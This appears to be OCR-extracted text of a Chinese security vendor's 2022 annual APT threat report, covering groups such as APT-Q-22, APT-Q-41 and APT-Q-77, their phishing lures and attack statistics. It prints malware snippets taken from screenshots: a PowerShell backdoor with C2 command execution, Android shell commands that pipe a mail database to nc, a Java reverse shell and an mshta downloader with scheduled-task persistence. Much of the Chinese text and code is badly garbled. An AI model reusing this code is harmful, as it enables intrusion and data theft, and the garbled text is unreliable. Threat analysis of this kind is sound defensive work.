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mnitrest smep(filepath) @
n .-
pom - -
T
s

lef

message = MIMEMultipart ()

message['From'] = _format_address('zbc <%=>' % from address)

message['To'] = (', ').jein(to_address)

message['Subject'] — Header (datetime.datetime.now() .strftime('¥-%m-%d %H::M:%5'), 'utf-8') . encode ()
message.attach (MIMEText ('news', 'plain’, "uti-£'))

attl = MIMEText (open(filepath, 'rb').read(), 'basef4', 'uci-g')

attl['Content-Typs'] = 'application/octet-stream’

attl['Content-Disposition'] = 'attachment; filenams="%s"' % filepath

message.attach (attl)

try:
server = smtplib.SMTP_SSL(smtp_server, 465)
server.login(from_address, passwozd)
server.sendmail (from_address, to_address, message.as_string())
print 'sendok’
server.quit ()

except smtplib.SMTPException:
print 'sendsrz’

query| - '
conn = pymysgl.connect (hOST=uUSL, puLC=pOrt, USer—user, passwa—passwd,
cur = conn.cursor ()

cur.execute (sql)
with codecs.open(outfile, 'w', 'utf-8') as (£):
for data in cur.fetchall():
f.writs (str(data) + '\n')
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A 1.12 CHM KREHE

CHMX T ABRERITRMIRARS 28 ENEE K PowerShell RS,
ITRIIREERTRTHEBN, RIEERER TAXHFIREREY,
MX LIRSS E—E, HCHIEER
Chinotto/alJo FA1& B Chinottof5i ]t H PowerShellki4s,

BT ZHARD, WEERLA
ZiE I PowerShell KD BN

5, REAPTITZRIEWE EXRNIXHBRFIMES TX

40 newPath = Senv:APPDATA + '\svchost.exe';
oldPath -Destination $newPath;

42 eg(S=
43 url - w s mew e
44 sersasBaies -

seiscr —ExpendProperty SerialNumber);

45 serialNumber = SserialNumber.Replace (' "

46 zesultPath = SenviAPPDATA + '\desktop.dat'

47 endHttpRequst (Surl + "2ty‘pe:he]lo&ﬂxxectlon:send&ld:" + SserialNumber)

48 hile (Strue){

19 Sval = "n;

50 SHTTP_Request =

5 SHTTP_Response = SHTTP_Request.GetResponse () ;

SHTTP_Status = SHTTP_Response.StatusCode;

If (SHTTP_Status -eq 200) {
$readStream = New-Object System.IO.
$data=$readStream.ReadToEnd (} i
if (1Sdata.Contains("Fail"))

SHTTR_

{System.Net.WebRequest] : :Create (Surl + "2?type=commandsdirection=receivesid=" + $serialNumber

Team() ;

if (sdata.Contains("ref:"))
t

(Surl +

2type=hellosdi
¥
elseif ($data.Contains ("
63 «

cmd:") )

Invoke-Expression $data.Substring(4) | Out-file $resultPath;
uploadFile SresultPath (SserialNumber + '-result');

+
elseif ($data.Contains("down:"))

$fileUrl = Sdata.Substring(s):

SfileName = Sfilevrl.substring (Sfilevrl.Lastindexof ("/") + 1)

Spath = Senv:APPDATA + "\" + SfileName;

(New-Object Net.WebClient) . DownloadF;le{Sf)leUrl Spath) ;

Sval = Surl + "2typ lesdizecti +5 INumber + "&d.

id=" 4 $serialNumber);

elseif ($data.Contains("upload:™))
{

$filePath = $data.Substring(7);
$fileName = Sdata.Substring(Sdata.LastIndexOf("\") + 1);
uploadFile $filePath $fileName;

$val = Surl + "2typ lesdirecti

d=" + SserialNumber + "sdat.

¥
82 elseif ($data.Contains("run:”))
C

A & 1.13 Chinotto f5I7] PowerShell FrEE
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BRI RE 2 SFEUERAEHIT,
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1 mm - rf / data / user / 0 / com.r .. nail / app_tt_pangle_bykv_file;

2 touch / data / user / 0 / com.netee s w1l / app_tt_pangle bykv_file;

3 mm - rf / data / user / 0 / com.nelewss wmiinail / app_tt_pangle bykv_file;

4 touch / data / user / 0 / com.netwswss mes wmil / app tt_pangle bykv_file;

S ™m - rf / sdcard / Android / data / cvm meewmwem ms . / files / .update / update.apk;

€ mkdir - p / sdcard / Android / data / com.m==n 11l / files / .update / update.apk / test;

7 VER = ‘getprop ro.build.version.release';

g if ["SVER" = "11" - o "SVER" = "12"1:

9 then if [-e "/data/user/0/com mm mmwm: = wl mesm a1, 7] 7

L0 then sleep 3 | tar - cvz / daia ; aser ; U s com.mesees.mail / databases / mmail.7 | toybox nc
L1 fi;

12 if [-e "/data/user/0/com.p= mms g = =tmmail 771

L3 then sleep 3 | tar - cvz / Wala / Go=f 7 U / com.A Ga & B bimail / databases / mmail.7 | toybox 1§
L4 fi;

L5 elif["$VER™ = "8%" - o "SVER" = "10"1:

L6 then if [-e "/data/user/0/cems: s s = e /mmail . 7" s

L7 then sleep 3 | tar - cvz / Gala ; GSEE 5 o 5 COM B EEeE EE atabases / mmail.7 | toybox nc
L8 fi;

L9 if [-e "/data/user/0/c e - 5 N il.7"1:

20 then sleep 3 | tar - c¥3 J Java 7 USef / 0 [ woil — - Sases / mmail.7 | toybox &
21 fi;

22 fi

A E 116 ZSHBERTHHL

ZEEEHIT—TAPKKR S,

public static void main(string[] argl) {
new Thread() {

public woid run() {
OutputsStream vl3;
OutputStream v7;
InputStream v10;
InputStream vé;
InputStream v5;
Process vO;
Socket vll:
String i m";
int w6 = [0
String w8 = “/bin/sh";
Socket w12 = null;

try {
while(true) {
label_5:
vll = new Soccket();
break;
1
catch{I0Exception v@) {
w1l = v12;
goto label 57;
¥
try {

w1l.connect(new InetSocketiddress(vl, viB));
goto label_18;

catch(I0Exception v@) {

}

A 1.17 APK RE RS EE
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- IN

O =2x10 8 T EER. ATEEERENER, Outlook 2SN FEREERNEREE,

ErEmtERLzip .
6 MB

e
7 1155 1o, nEHRERONG. MERAFRERASLH, AFEETRMME.

fitE=S china20
54t
[x]

1.18 HpfFELE

BIRERENT:

g 010011 k
W‘ BEREE wps oneclickt % AT </> BE
S — [ VBS |
$IEERE
R FERXXXIEE ppsx WPS_codec_install.Ink dubalnstall.vbe dubapack.dat
E2lE : a =2
—_— =
evteng.exe MurocApi.dil ATKG.dat
RS
? S EEZiE=A i : E BE
e T -+
FHE] cc TEE

119 BiTmizE

WEEEOHIER PPSX BEXHRBIT:

13



(> FRIEHMIBRP O

2. AEPBEEAFANGEERY

4. EE G HBOREXN AR KB R K0

A 1.20 PPSX IBERA

BEARESERAFMH T THE, AMCQTHRLXNGENIARS, RIBHOERITRERREREIREH

Payload,
339 *({_BYTE *)&szAgent ¥ Z * vsW + 1) = 9;
331 v85 = HttpOpenRequestW(v7s, L"POST", &szAgent, @ie4, @ie4, @i64, @xB00000u, 0i64);
332 vB6 = v85;
333 if ( !vas )
334 return 8igd;
335 dwBufferLength[@] = 4;
336 InternetQueryOptionW(vs5s, @x1Fu, &Buffer, dwBufferLength});
337 Buffer |= @x13386u;
338 InternetSetOptionW(vis, @x1Fu, &Buffer, 4u);
339 | }
348 | else
341
342 if (vee )
343 {
344 VBT = BiB4;
345 do
346
347 vB8 = 2 * v79;
348 vBg va7 & 7;
349 ++
358 793
351 +HVET;
352 #((_BYTE *)&szigent + vB3) = *(_BYTE *)(vBL - 1) * byte 18@81C47@[v30];
353 *((_BYTE *)&szAgent + (unsigned int)(vasd + 1)) = @;
354
355 while ( v79 < vae );
356 1
357 *((_BYTE *)Rszfgent + 2 * v30) = @;
358 #({_BYTE *)&szigent + 2 * vE@ + 1) = @;
359 v36 = HttpOpenRequestwW(v7a, L"POST", &szAgent, @i64, @ic4, @is4, @, @is4);
360 if ( !vas )
361 return @i64;
362

363 | *(_OWORD *)String = xmmword_18081C3Ce;

364 23 = xmmword_18801C3D8;
365 4 = xmmword_18081C3E6;
366 25 = xmmword_18801C3Fa;
367 26 = xmmword_188@1C400;
368 | w127 = xmmword_13001C418;

369 | mem_set((_ inte4)vi2s, @, @xlABuisd);
78| w0B = letrlanlifStrinays

A E121 THENRBEE

BRERMERP OSSR EITZR BN T ER.

HBFE: ti_support@gianxin.com  EiE: 95015 ERI: https://ti.qianxin.com 14
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APT-Q-22

XppiE: B, ERHA

R T AT, APT-Q-22 BIMEERIAER T T ALV BAMXMREIREESIE T IFERE ROVEXHRF,
FHiRBEMEER 0day FFAIFI A, APT-Q-22 IR FIGEERFINT !

BEESRIEE |

© 22UBTTEER, HTRDRPEBIH, Outlook RIS TR FIRLER,

3
RALEFHE AN G D v

B0, AARAZEFMARRELBFERIDRE—ME S RRETFE . SFEEAAVIEIL T A%, WEFE T2 RIS AR ARG RS E:

i e

Wi H x

1.22 Bp & E

FEEREERTEETHE—MRPayload, RLFAMshtafiITIZZARS 2 LRIMIAS M, HEFERA
ST R,

{script>
2 wvar objUserInfo = new ActiveXObject ("VScript.network”);
3 wvar uname = objUserInfo.UserName:
4 var strCompName = objUserInfo. computername
5 ao=new ActiveXObject ("W'+"S"+"cr"+"ip"+"t. "+ Sh "+ "+ 1"+"1") ;
5 ao.run{"mshta http:// & 000 o it +strCompName+unane, 0);

7 ao.run( schtasks. exe fcreate !sc m:mute /mo 3 /tn 3WW e ftr "mshta W0G 00 lecm Belp by [ oL@ ver=hta2"’, 0) ;window. close () ;
} | {fscript>

El 1.23 ImiZARS5 28 LBV A AT & E

EE—BNEETAT —1TH.NETHEENLoader, FEIHEEZHTPowerShell&n$,

runspace = Rur

()5
plpellnF = runspace. CreatePipeli
t(text);

pipeline. A (018
(pipeline. PipelineState Info. 5]

pipeline. Pipe

Thread. (50) ;

("startasdfasdfasdf”) ;
obj pipeline.

1.24 G235 Loader #E

15



#E MIniERS5 28 T &iPayload Hin1T, &2 #fPayloadZuposhc2_DLL.

@ github.com/nettitude/PoshC2_Shellcode

3 READMEmd Updated for new blog post 5 months ago

i=  README.md

PoshC2_DLLS

AMSI Bypass & ETW Bypass included in Sharpv2 and Sharpv4 Shellcode

¢ https;//github.com/rasta-mouse/AmsiScanBufferBypass

e https;//blog.xpnsec.com/hiding-your-dotnet-etw,

Posh uses sRDI and Binary Patching

1.25 7R dIl AAEEE

RN INEHITRLNPayload, ZEREREMPowerUp. SMBExecEE T, BIXK
HF A AR RERELIER SN L E.

4 Q1 dropper cs (0.0.0.0)
| - §

1.26 =& E1NEE

16
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APT-Q-45

X EXERME. ERREEIMIE~

2022 F4), BNNBFHFLERZ EDRYERIN T —PMRKBI RIS “RELFER" MEE
WABBECEMENZF=HITRE, BdaXMHEEENRN “certificate-ntdc.zip” BIMH, #H
TN IE=X7E Program Data B R TR McAfee BFIRA M, B B4 NN FME Cobalt
Strike ILIEAR S,

LText: 1eealead maov |lebptvar_4], eax
Ltext:1ea61816 push ebx

Ltext:1eee1811 push esi

Sdext:leaa1812 push edi

Cfext:leaalell push offset Mode HE o
Ltext:1e661818 lea eax, [ebp+stream)]
Ltext:1eae181B mov [ebp+5tream], @
Ltext:leaala22 push offset FileName ; "sysctl.sys"
Jtewt:leealez? push Eax ; Stream
Ltext:1eaele2s call ds:fopen_s

Ltext: 1Bee1e2E mow eax, [ebp+Stream]
Ltext:leaalazl add esp, @Ch

dextrleealesd test eax, eax

Jtext:leealase jz loc_leeall30

Jtext:leeelasc Mo esi, ds:tTseek
Ltext:leaaled? push 2 ; Origin
Ltext:1eaal644 push @ ; Offset
Jtewt:legalede push 23X 3 Stream
Jtext:leeelad? call esl ; Tseek

text: 18661849 push [ebp+5tream) ; Stream
Ltext: 18681840 call ds:ftell

Ltext:1eae1es2 push ] 3 Origin
Ltext:leaalasd push @ ; Offset
Ltext: 18681856 push [ebp+5tream) ; Stream
Ltext:leealasa Mo dwsize, eax

Jtext: 18e81asE call esi ; fseek

Ltext:leaalecs add esp, 1Ch

fext: 1881863 push 4 ; TlProtect
text: 1eaeless push 3@aah 3 TlallocationType
text:1Ba81864 push dwSize ; dwSize
Ltext:leaalara push a ; lpAddress
Ltext:1ea61872 call ds:virtualalloc
Jtext:leeelers Nor esi, esi

Jhext:leselaiva Mo ebx, eax

text: leeela7c war edi, edi

Ltext:1868187E Mo lpstartAddress, ebx

1.27 Loader IREXX 1258 E

BERLEERRT —MHEZE0NEMY, BRITARAPT-Q-4SANETERAXEIZERTWHRGERFLZR
8, GRTZABRNEFER,

17 2022 FERS
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il chr.exe Bt

HFE=ELHER

EEEEEE)
R T
EEFHEAe: FalE
EEHAL

|2021$9E|22E| 18:55:55

EEuEBN

A HI128FNHFELEHE

W ATZIp T BT R RITX S, BITESBREENISHAHINT, MEARNBSNEELEERD,

124
125
126
27|
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142

function initialize() {

L O R . S O T P P PR PR N S R

(websocket = new WebSocket("w: il mims o i 28008M).0nopen = function (e) {},

websocket.onmessage = async function (e) {

-+ last_live_connection_timestamp = get_unix_timestamp();
=] try {I

B -+ var t = JSON.parse(e.data)

-+ }catch (e) {L

E Ed return console.error({"Could not parse WebSocket message!"),
3 -+ void console.error(e)l

) H

3 if (t.action in RPC_CALL TABLE) {i

> =+ const e = await RPC_CALL TABLE[t.action](t.data);
> =+ websocket.send(JSON.stringify({}

-+ - =+ + id: t.id, L

-+ Ed =+ + origin_action: t.action,

3 - -+ + result: el

) = -+ 1)1s

< }elsel

= =+ console.error('No RPC action ${t.action}!’)!

A E 129 WAADHE

&
HEREE, EERFFER
H—E” A BT

B B RIS AWEIEE N ERAPT-Q-45F Ry BEEMB KA A EE R bl S/ BEAMBREAHIR
RUZEE, NE2BENAE, ZALNERIMARIEE T EM, BE “—
RERR” RO, BSREZHAT®IERE, MAREXERESINIMNLS

BN R EBARRFEZE BRI,

HEFE: ti_support@gianxin.com

BiE: 95015 B

https://ti.gianxin.com
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EEEFR (APT-Q-41)

XKpgin: pamt. REk,. She

EEERR (APT-Q-41) 7% 2022 FRUESTNEEE L. BUF. SPRFTWRENEHM, XGRS

2022/11/7 (B—) 17:57
Fulle =" " -
Fwd:

KT A, mm— e p—

Final programe.pdf
il 74 KB

Dear Sir,

Best Regards

Please find the attached final Prog.

A B 130 HEmBERE

Mt PDF BT :

19
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(> FRIEHMIBRP O

Most Immediate

MODP/PC-1
Ministry of Defence Production
Pak Sectt-11, Rawalpindi

07 November 2022.

Itr no 7/3/2021/DP-15

Programe final & Approved by MoDP for IDEAS-2022

The attached letter is forwarded for your information and necessary action, please.
Take action accdly and cfm, pl.
Kind Regards

ajor
(Dawood Saleem Chaudhry)
Communication Officer

Confidentiality: This file is intended solely for the individual or entity to whom it is addressed.
The information contained in this secure file is legally privileged and confidential.

Download PDF

SECRET

A [E 131PDFFERE

R PDF XIS RISE T E, RIEFRNNVENIER, APT-Q-41 7£ 2022 FHALINFIEX
T BEHTBER R 5BV ERFE.

HBFE: ti_support@gianxin.com  EiE: 95015 ERI: https://ti.qianxin.com 20
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€ > C Y & maildgdp.gov.pk/#1

Contacts  Calendar  Tasks  Briefcase  Preferences

Reply H Reply to All | Lo || # -] | actions ~
¥ Mail Folders Sorted by Date © 30 conversations
2 - To view a conversation, click on it.
S (D 2 T | e Habib Dec21
B Sent r - es - - PR
B3 Drafts
® » Sajjad Ahmed Qazi - ) Dec 21
B3 Junk R
C B pp—— y " R A
& Trash
® hussain aklhag Dec 19
Searches
o
Tags
¥ Zimlets ® Gohar Dec 14
& Archive : ; e
@ Webkx ® Cantentfilter Dec 13
Y Vahoo! Emoticons Em——— ~es=mac- == wac: e 7
® Muhammad Amjad Butt Dec 09
[ = —— e P
® Muhammzd Chanzzib Nov 11
. o=
® Malik Safder Nov 11
[ o F
® MaDP-PC-1 Nov 07
T @

A [E 132 pihERENEE

PRItz b, BAIEARIM 7T ZENSITHN S —RKNETHE, BESETEE FEWindowszEAndroid EF&1
AR XHEHRIT,

aseribir OF mE b P e i
P PR TR R

HOME | LEADERSHIP | MINISTRY | DEFENSE POLICY | CMC DEPARTMENT Select Language: ~ English ==

You have requested the file: MOD Official Software for Embassy Officials in
China

Name: MOD CHINA DOWNLOAD NOW o
Size: 4,12 MB

Uploaded: 03-07-2022 09:06:45
Hrs

Last download: 24-07-2022
11:46:20 Hrs

A EH133BHENETEHHRE

2539, Android F&BIEEIRE NSpyNote, WindowsF&EBIEEMRGRKEAINeshta, HizfTES
Wi AEMENITLodaRATIZIEA S, EFXFEMRTHEEREREESEKMERTHIEREEK, &K
MPAA U EARSZAPT-Q-41 FHHIIMEARSICE, HFBERR

21 SIRSRIELEEN (APT) 2022 FEIRS
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APT-Q-77

X9 ERRAEEIEF. BEIR. Oday/Nday. #iHE. BAF. ET

2022 R, BREAMERFOLIT —NZRIMKRIIRBBRGEN, ZRNREEEDIFEME,
ERRE=TAR, HNHHRD T HERH Oday KFE—N FEFMASOH, Loader (MN%2R)
N FIMERRBEEEFHIN T HEERERBUERLHIMNERE, B C2 LHENERAE
HENZE B ESEEERTEMEGN, #3018 —ENEOINAZENREMATRERERRES
APT-Q-77 BY4E4R,

SEIIMEASHT APT-Q-77 MFALHEIBI 0day RAFBHIEARAT, HIVAK APT-Q-77 FAREEER
EMHMELERE 0day B, EERERZRARITREONENIERE. SUEETSENAPTA
AARE, APT-Q-T7 1@ 0day BB T AADEN=Xo#T T BRIRRE, KETERIR. FiizA
RERIBAEBAERER, EHIRERAA IR T @M Cobalt Strike KB MUSH, EERT — M ZAIMK
WEER, BT rust BERSHRFHAD,

FLERMBIRPORFFEXS APT-Q-77 #HITIRER I 1T,

=. 2022 FHRAZETIS R

H—P BRI FLERMEENENRANM ST LELNEEANETZERMZ APT HEER, HESER
TEREEMNBERNESEREZEIBHTHN: 2022 FSRBEEBN. tRER. SMiEels
SREMEGSEERD, HRNER. DEET. EMESFIE. BXZEMIRERTL /BN T,

2022 BBRME S RIBRT LA (> TEE

Bl 4% Hfb 3%
HE 6 \

BfE e

EF5 8% »
Efr 9% I R

HEiR 9%

A [E1.342022 FREEMEBEESRIRERITIDFHER

HEFE: ti_support@gianxin.com  EBiE: 95015 EM: https://ti.gianxin.com 22
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BEF EREUBS, HNRERARENAPTALEREHE RE X FMIT L R TR,

HARFR RATIk
TOP1 APT-Q-27 %, R
TOP2 APT-Q-31 ( /&5%1E ) A, B BENE
TOP3 APT-Q-20 (=) EA. BA. B, BE
TOP4 APT-Q-22 BREBML
TOP5 APT-Q-37 (EXRTE) BUF. BAMIER
TOP6 APT-Q-1 (Lazarus) B, /. EF
TOP7 APT-Q-29 (Winnti) BRI, SR, Rl
TOP8 APT-Q-36 ( EEAE ) BiF. BE. B 88
TOP9 APT-Q-77 (APT29) BEE. B, BT
TOP10 APT-Q-2 (Kimsuky) KA. k. FE. S8
TOP11 APT-Q-40 (Confucius) B EE
TOP12 APT-Q-39 ( m2tE ) B, BF

A R 134 BRARHEA R BERTIL

23 SINSBIFEIEED (APT) 2022 FERE
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FE eXERIFEERMLRR

RFFKIRER APT 15 (UFER “FHRER" ) PR THEMNEL2MANBL2XE, AKX
BRFBEERNAREBNERFRZ— 2022 F, HFREEMBERPONTE2IK 200 ZHEER APT
KERKFHITTHREEN, SVABSEFEERET APT EARKRE. APT EITohRE. E&IK APT
WEBMREEMF. APT XRERXHESABENRREDT, UNRFEITAANFTEXEMELICFEARREE
S ST

FERABNELEEE T ERFRERUR A EMN B R EIERIEERS 51,

—. EXESHEAMARENR

BRERMBERFOE 2022 FENFNSREFFEERMEXAFREESH 331 K. FAENKIELT
BIFfr7o

— — . o—e =
2022 S B ATHIS REIHRS 512 BEST QIO EA
40
34
32
31 )8 29 30
25
23
20 22
I I ] I
Jan Feb Mar Apr May Jun Jul Aug Sep Oct Noc Dec

212022 FEMAFANSREMIREHER ERIT

24



BB ERERFEERBER | IS RITEEEN (APT) 2022 FERE

—. REBmBTLSME

2022 &4, REARBER, SALEHRENLTE, RIEEMNERGHEAEERE N, BIFRERS
EER: 22022 FIREN APT BXEIRESD, FREM (BIFHR. B EFEX) BRE
EH G 33%, HXEMRESEXEHFSLER 14%, 1K 2021 FIEKT 6%, b, BHZAEXHNEHS
aEEA 12%; S KemmE B LU BEIRTT LB S EE9 8%, HEAPaERITILAEERZ 2021 /Y 2 &%

2022 FERREMEFS RATI D WIE R0 T B,

2022 BB BB RITUSTHER OPT-E A5

Sl 3 BfE 3%
4E 4% |

EfrfExR 5%

S 6% \

ERIRTEE 8%

HESE
BEIE 8% 14%

222022 FEHESRBMEETRITLNH

SREMERDS R BAANERNMESHERRITMTE EREQARSPRINZEBTMEER
i) , AIURISRENREENEEEPERR. MBI, RILDERMHX,
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(e FRIERMBIRPLO

0’
S o'&f

EAIER

A [F232022 FAFHRENSREMEEIHXHIERMMX

=. EREREMALRIER

FRIRENFHRIEIRFPETIR VR E APT AR RMEXRITIIHITT PAEIE, HA, BREEESH5 1D
APT 4459352 Lazarus 8.7%, Kimsuky 5.0%, ﬁﬁﬁﬁﬂé 4.5%, Gamaredon 3.6%, YEETE 3.3%.
546, Lazarus. Kimsuky. BEE=TMHARREEFEAY] 2021 FAFIREGRRE Top 5 5I1FRA.
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02 AFHRERENSERMERERER () TEE

(ozore [ ¢ 7
cinety. | 5. o+

— e
e [ ¢

0% 1% 2% 3% 4% 5% 6% 7% 8% 9% 10%

A 2.42022 FLIKERBREMAR

— I RFIREFBEBMEN P RBREITEHRR. HEHERZN, AYE—FRKRHTIEL
EEEE’\JéZ‘ﬁ‘I"Tﬁ)RiID'F, BHBRIBT M enRBIEMKIR, R2021FHEBPIEK,

=B
uti

POLONIUMNSO G.
Kasablanka T C- h# carah
ﬁg’e'“‘ Bnasndar A‘
Wmntl (ﬁﬁw)mgon Castling

i’C“ REvil

dw0|
ralllst FiER TeamTRH!
Slug’
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=30
E;Kﬂscharming Keilibu

OP R iveCopy
0a :

olerate L ingGol
J

jon APT35 1
WIRTE A505
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LEPHANT VR
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B e
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A [E252022 FAFHRENSREMERHERNITE
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M. SEEMEEEDTS
Gl ZEFFImIERE, HXERITIEIREINE

R BEMHEARINEATZT, EFWERFEM, 2022847 SRt 2RIT AR E.
fRT RRERAA LS, APTAREESGEMBE L MRNEF N, EEFLEAPTALGERBET

AT,

BAFRERE, LazarusdHRZRET EMBLRT AR, ANEEMEERRE. REARAFEH
M5, 38, googletim AG &M LazarusBLRFIFACVE-2022-0609:& 2 RIS HITREF BOperation
Dream Job#1Operation AppleJeusi&znfi, EAOperation AppleJeus;ErhH3d 0% 5 h Al ERAHS T
WEFRAF, SEEHEEI85E,

Bluenoroff group#iAELazarus AR MDY, 2022518, FEHERBEZALHITSMBLERRE
BERZY. DeFi. XKREMEMEKITUBEXNEMAT, SEERKBBETH. K=, fidXEIL. 5%
= ERANE. FE. BNE. EE. S, RBXENER.

Kimsuky£HZR7£2022F E+F WX MEEA B SME L HEEBIWord X ERIFE, HMEEHQ
CIE TG

BRTY MBS, ESRE BEEET — MM T EMNtX SR RHEEENALR, HEEMTR
“Elephant Beetle” 3¢TG2003, ZEKEITEEMEIFHITRENIIERZ, REGNTHERE

TTo

Ite4h, FAI7E (Operation Dragon Breath (APT-Q-27) : $SHEFATUAIPEAITE) X —X iR ET
ERMWAIKFTERMIuuti GroupBLRHFERE. ERITIMNERKEES), HEd “BIZE” WARXE
EAREZEECHNE®RES, LIV EBR.

X EE SR T U M IR A S

ERSHARIAERT, FAMURRBEX X EHFESBRBREECIAE, M. PREMXUERZE
FEJA BN EESEIRE, ERESBEXBEIFMARRBENTR.

KA MBEEHEAL EFETurla. Gamaredon. APT28. LOREC53%, WHER T AR R=NE
EB, FNBHNEMALSEZKBEN, LWNEEERAER. KPNEEHFERRE,

28



BB ERERFEERBER | IS RITEEEN (APT) 2022 FERE

It X EMAPTAREFE, ISR, Sidewinder. C-Major. EREHW L RIREMEHEEBET
RER T, HMHEAM—MRMUEBRELERNAR —=ERR (Vajrakleph) , EEXFNEHBENE
FERERER, EAMRINZEARTENEEINBERLME (FC) FMIFFELA (SSG) , £
HE®RZEWME (FCBLN) , WIMNEEESVENEKIMIFER (FIA) FEZRE (Police) o

FREENBLEARZ RN T EEBEHTHERSE, XGEEMEREBRAMARUNREXE
THiH, 2 BERKEENKEERESBFNAELEBEMuddyWater. TunnelVision. SXEE LA
Lazarus#A4R, #BXWEHEHRITEB30k,

teoh, EXTEERITIMAPTIR G ECH IR AFEB G, EHS HRPHI T XTEER K BEA & HERI X
LKW E, SandwormBREN T MBS R =K B EEREN EIMEPKETIEXERUHFIndustroyer2
MESHEBIRERIERRG, ERERIEHE, FERSR=2 M TRIENEN, #MEEL82008
Ao

BRT HRER TR SRS, APTARERTINKRERERERENZEIESG . LazarusARxY
ERZERRMUENMKZHITESE, FRIUKEBE, HMTABAELERTEARBLRI, &I
APTARLRXY I EE REER R AIEBIMNIE &5 T Bito

KA T ENRE SR

OdayX&NdayimFABEMAAPTAHLR SR EHES. #EGoogle Project Zero%tit, 2022FNME=+F"
X ERDNG = RIN0day AR EST A, XEREFAFRENE—MIR, MR VREREFEHYT
FRURANEBIMIEIATE, AXLERANELEREREM.

Nday/RREAPTREE B EE —FE2H, LERIREZIEE KRR 2022F &KX FAIANR
TA3ELog4jimA(CVE-2021-44228) B8, BT ZimBESI MR ETmRS, EEFVARVWKETD
HIHZRIAMER = i TEA, EIE2022F 2K MAPTALRMKEEN P LN T ENS R,

ERNAB0daymBESEMN, ERERTRERRREEAEDN. £2022FR5MPTHRAHIHER
WHESIR, BFREEMBERFCOIRREIRCN TN E~RANEEFdaylFiR, BE2022FERME——
KBRBINMPTARHWERNBIRMERdaymRENL 2 &, &M BENRBXFRHEITTE
o
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& REBHHAR BT ENHFRES T

BXEMFE2022FNWAPTHREESIRNE2— N SME MK EF R, thin, MEHhRAE, ZPRHK
APTAHLAF A & X B BRI UGB . WhEBEIMARNaERSNENR YT, #ITKS
G ASENFRIE. TR PRI KB4 M A RS RSN, EE DA =it
BFE, LCMEBEMHEERANXXHTEERXM, EEEMHFFRRNESAE U ARG RSN
B, MMAEREEFNBHEL FTEEMBEERER.

Lnk REA R ARBAFHERGHE

WindowsR#EA I (LNKXH) B—MARREFNOMR, ERFERAEMXHE, T UFSMEER<
788%, NMEETENRKESHEERIBIFER. BETINKXAEFE, WindowsiRiESD A7
BEERRA R ILIFALBIIE T

FEREHEMEL, REBEBBBINKXGRATFBERRITREHE, XEPREAXBEEEEERAETH
BEMFHRITXHE (LOLbins) , fflilpowershell.exe. mshta.exef1E MK cmd.exeZ, MLt

W, SKEAERIT.
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2022 F 1A 12 B, XENKELHEEEN LAF A XIKE MuddyWater FEH XY 2 IKBI AR & EED
PERTEZMFELE, HifA MuddyWater AARBTHAEERBRS L2 (MOIS) ™, HEE
BUEDHIRS A Virustotal E#E T MuddyWater 4847 PowGoop MZFhALD, SitFEY, mE
FRET ZFRER, ERTEBNRERE, HXT PowGoop TMAS#H1T 7 IFHI .

£ 2021 FHATB K EET PROMETHIUM AL RIS NotePad++ LR B HITEMNZEM, T2 FIZAR
PFARTE, BEI2022 F3 B, BlAXEZMKEERATIRE, SONERIRSER WinRar.exe &
EHTRENETR 1

Lyceum AR &2 B Secureworks F 2019 FRFIKBH v E, B— MROWBIENALR, HRHER
BEERRMXNEBNRAS QS Bli1x Lyceum ALMBEH A MEE R TTP $H316ER BT,
£ (EERERE: Lyceum ARUEERSEFFEHPRMXOEAKT) " —XPFADH
TIZALREXRKE, BFRS EE A HHE T docm XHHEHNEN SCR RRERIFER.
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=B CaCipss

3.15 Lyceum ARKEH R

H APT AARININEE. AXR. APT34. APT35 FKIBZRARMK EEEUERRIAR, SUEFRNZE,
XEARFLTETEPEXPVEHE. KT, #TFLFABIRGEIRRNEN, EXNREXNE
FRRBIF FRBES]. 7E 2022 FEMIKEEENTP, ¥ ¥ R EIX AR A Logd) iiE. VMware RCE IR,
Exchange RCE RSN R E BIR#ITESE. S AFHEIR, HINEBET 2022 FHRAMX T BWHED)
MR ERFAR.
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AR7 saznfER 1 FE B8]
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SPAREPART,
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FERHITHEIER). HWEH/ERE PowerDism IEHFFZA,

A 3R 3172022 FHAMXITEER APT HR *2
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KNOTWEED X BEMMEENNSKSEND, TEHXIRUN. PEMNENFFITHEER. B 2021 F
&3 Adobe 0day CVE-2021-28550 Az Windows 32 4% Oday CVE-2021-31199 1 CVE-2021-31201 # 17
I, 1E 2022 it CVE-2022-22047 $84% 0day #HTHE, ZEREEEHEE Subzero™,
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‘OMediaFir (=] SIGNUP  LOGIN § W

Something appears to

be missing...

The key you provided for file access was invalid. This is usually
caused because the file is no longer stored on MediaFire. This
occurs when the file is removed by the originating user or
MediaFire.

A HOMEPAGE &) SUPPORT 0 MOBILE APPS

)

A 3.18 Kasablanka AR & TIHE

unicef @ {{g,}}

(B 7l
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F b "
I L AL
V & )
Y 9
b4 AL

G 3 31 £ F A7
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A & 3.19 Kasablanka 4A43E = Android W FRIEILR
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2022 £ 7 B, Mandiant &I 7T —M#EBXYANEHNE S X, ZHERBEALE UNCA034 A, I
THEEE PUTTY SSH 7 Telnet B ImAVE R AR A, WIS T A IR AT EE BB IIENSHEFHME,
BEfS UNC4034 @13 WhatsApp 5 EEREIUIEE, BEEFRSEETHMNERERIENTHNEE
1SO Bt 194,

Ciw &2

Contact Established Job Assessment Victim attempts to
with Victim 150 Archive connect to assessment
with backdoored PuTTY

o .

Backdoor communication PuTTY launches Themida-
established with C2 servers packed DLL on cannection

&

—t
AIRDRY.V2 DAVESHELL shellcode
Backdoor Deployed loaded in memory

A [E3.20 UNC4034 BEFAHNEREHRIE

Witchetty H437E 2022 £ 2 B 27 HZE 3 A 18 HEA[EIFI A ProxyShell JE®E T R AREATHLE, E3EX
Exchange fRSZS2BHKSZH8, Z/E1E S5 AE 8 A#HTAMEREE), M C2 BRS23|{ L TEIGHHIT, H
URZRF BHEXMIT LookBack &1 ",

2022 % 5 A, UNC4166 7£ toloka[.]to Ukrainian Torrent Tracker ( 35 = EMBRIBHE AN G HEEZTF
9% ) EFEE T Windows 10 ISO K8, XX ISO HNERHERE T DR =BT, WERRMN/L
BIRETE 2022 £ 7 BN EITRIES, @ PowerShell 7@ <, WHHEXEZLE T Stowaway.
Beacon # Sparepart [517], MRFNZREREITENIGER. HiTmS. TR, GRERMERIS
FE,
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Hosesmawli
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Aanariamens: 4.7 GB
Peitner: 12901

3w x 110522
Boctarne: 300622
Plosigoeanens: &

N2 uepews)

O nonama: 2022.05-20 15:27

